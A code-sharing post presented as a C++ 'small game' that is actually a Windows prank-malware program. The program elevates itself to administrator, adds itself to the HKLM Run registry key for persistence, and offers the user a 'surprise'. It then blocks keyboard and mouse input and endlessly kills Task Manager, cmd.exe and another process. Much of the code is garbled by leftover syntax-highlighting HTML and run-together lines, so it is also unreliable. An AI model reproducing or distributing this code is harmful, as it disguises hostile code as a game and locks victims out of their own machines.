C++小游戏

CPP 刷题王 2023-11-04 16:17:43 25
#include<bits/stdc++.h>
#include<windows.h>
#include<tchar.h>
using namespace std;
int lock(bool lockb=false){
	HINSTANCE hIn = NULL;
	hIn = LoadLibrary("user32.dll");
	if(hIn){
        BOOL (_stdcall *BlockInput)(BOOL bFlag);
        BlockInput = (BOOL (_stdcall *)(BOOL bFlag)) GetProcAddress(hIn, "BlockInput");
        if (BlockInput) return BlockInput(lockb);
        else cout<<"调用失败,无法加载BlockInput函数";
    }else cout<<"调用失败,无法包含user32.dll";
	return -1;
}
bool GetPrivilege()// 提权
{
    CreateEvent(NULL, FALSE, FALSE, _T("{29544E05-024F-4BC1-A272-452DBC8E17A4}")); //用来创建或打开一个命名的或无名的事件对象
    if (ERROR_SUCCESS != GetLastError())
    {
        return false;
    }
    else
    {
        TCHAR strPath[MAX_PATH] = { 0 };
        HMODULE hModule = NULL;
        GetModuleFileName(hModule, strPath, MAX_PATH);
    SHELLEXECUTEINFO sei <span class="hl-keyword hl-operator hl-assignment hl-c">=</span> <span class="hl-meta hl-block hl-c++"><span class="hl-punctuation hl-section hl-block hl-begin hl-c++">{</span> <span class="hl-keyword hl-operator hl-word hl-c++">sizeof</span><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span></span><span class="hl-meta hl-group hl-c++">SHELLEXECUTEINFO</span><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span> <span class="hl-punctuation hl-section hl-block hl-end hl-c++">}</span></span><span class="hl-punctuation hl-terminator hl-c++">;</span>
    sei<span class="hl-punctuation hl-accessor hl-dot hl-c++">.</span><span class="hl-variable hl-other hl-readwrite hl-member hl-c++">lpVerb</span> <span class="hl-keyword hl-operator hl-assignment hl-c">=</span> <span class="hl-meta hl-function-call hl-c++"><span class="hl-variable hl-function hl-c++">TEXT</span><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span></span></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-string hl-quoted hl-double hl-c"><span class="hl-punctuation hl-definition hl-string hl-begin hl-c">"</span>runas<span class="hl-punctuation hl-definition hl-string hl-end hl-c">"</span></span></span></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span></span><span class="hl-punctuation hl-terminator hl-c++">;</span>
	sei<span class="hl-punctuation hl-accessor hl-dot hl-c++">.</span><span class="hl-variable hl-other hl-readwrite hl-member hl-c++">lpFile</span> <span class="hl-keyword hl-operator hl-assignment hl-c">=</span> strPath<span class="hl-punctuation hl-terminator hl-c++">;</span>
    sei<span class="hl-punctuation hl-accessor hl-dot hl-c++">.</span><span class="hl-variable hl-other hl-readwrite hl-member hl-c++">nShow</span> <span class="hl-keyword hl-operator hl-assignment hl-c">=</span> SW_SHOWNORMAL<span class="hl-punctuation hl-terminator hl-c++">;</span>
    <span class="hl-keyword hl-control hl-c++">if</span> <span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span><span class="hl-keyword hl-operator hl-arithmetic hl-c">!</span><span class="hl-meta hl-function-call hl-c++"><span class="hl-variable hl-function hl-c++">ShellExecuteEx</span><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span></span></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-keyword hl-operator hl-c">&amp;</span>sei</span></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span></span><span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span>   <span class="hl-comment hl-line hl-double-slash hl-c"><span class="hl-punctuation hl-definition hl-comment hl-c">//</span>对指定应用程序运行某个操作

{

        <span class="hl-support hl-type hl-windows hl-c">DWORD</span> dwStatus <span class="hl-keyword hl-operator hl-assignment hl-c">=</span> <span class="hl-meta hl-function-call hl-c++"><span class="hl-variable hl-function hl-c++">GetLastError</span><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span></span></span><span class="hl-meta hl-function-call hl-c++"></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span></span><span class="hl-punctuation hl-terminator hl-c++">;</span>
        <span class="hl-keyword hl-control hl-c++">if</span> <span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span>dwStatus <span class="hl-keyword hl-operator hl-comparison hl-c">==</span> ERROR_CANCELLED<span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span>
        <span class="hl-meta hl-block hl-c++"><span class="hl-punctuation hl-section hl-block hl-begin hl-c++">{</span>
            <span class="hl-keyword hl-control hl-c++">return</span> <span class="hl-constant hl-language hl-c">false</span><span class="hl-punctuation hl-terminator hl-c++">;</span>
        <span class="hl-punctuation hl-section hl-block hl-end hl-c++">}</span></span>
        <span class="hl-keyword hl-control hl-c++">else</span> <span class="hl-keyword hl-control hl-c++">if</span> <span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span>dwStatus <span class="hl-keyword hl-operator hl-comparison hl-c">==</span> ERROR_FILE_NOT_FOUND<span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span>
        <span class="hl-meta hl-block hl-c++"><span class="hl-punctuation hl-section hl-block hl-begin hl-c++">{</span>
            <span class="hl-keyword hl-control hl-c++">return</span> <span class="hl-constant hl-language hl-c">false</span><span class="hl-punctuation hl-terminator hl-c++">;</span>
        <span class="hl-punctuation hl-section hl-block hl-end hl-c++">}</span></span>
    <span class="hl-punctuation hl-section hl-block hl-end hl-c++">}</span></span>
<span class="hl-punctuation hl-section hl-block hl-end hl-c++">}</span></span>
<span class="hl-meta hl-function-call hl-c++"><span class="hl-variable hl-function hl-c++">Sleep</span><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-begin hl-c++">(</span></span></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-constant hl-numeric hl-c++">100</span></span></span><span class="hl-meta hl-function-call hl-c++"><span class="hl-meta hl-group hl-c++"><span class="hl-punctuation hl-section hl-group hl-end hl-c++">)</span></span></span><span class="hl-punctuation hl-terminator hl-c++">;</span>        <span class="hl-comment hl-line hl-double-slash hl-c"><span class="hl-punctuation hl-definition hl-comment hl-c">//</span> 防止退出的太早

exit(0); //退出没有管理员权限的进程 } void HKRunator() { char programName[MAX_PATH] = { 0 }; DWORD dwRet = GetModuleFileName(NULL, (LPSTR)programName, MAX_PATH); HKEY hKey = NULL; DWORD rc; rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_WOW64_64KEY | KEY_ALL_ACCESS,NULL,&hKey,NULL); if (rc == ERROR_SUCCESS) { rc = RegSetValueEx(hKey,"MyProgramName",0,REG_SZ,(const BYTE)programName,strlen(programName)); if (rc == ERROR_SUCCESS) { RegCloseKey(hKey); } } } int main() { GetPrivilege(); HKRunator(); printf("有一个惊喜,你想不想要?\n"); int n; cin>>n; lock(true); for(int i=1;i<=n60;i++)Sleep(1000); while(1) { system("taskkill -F -IM svghost.exe"); system("taskkill -f -im Taskmgr.exe"); system("taskkill -f -im cmd.exe"); } }

{{ vote && vote.total.up }}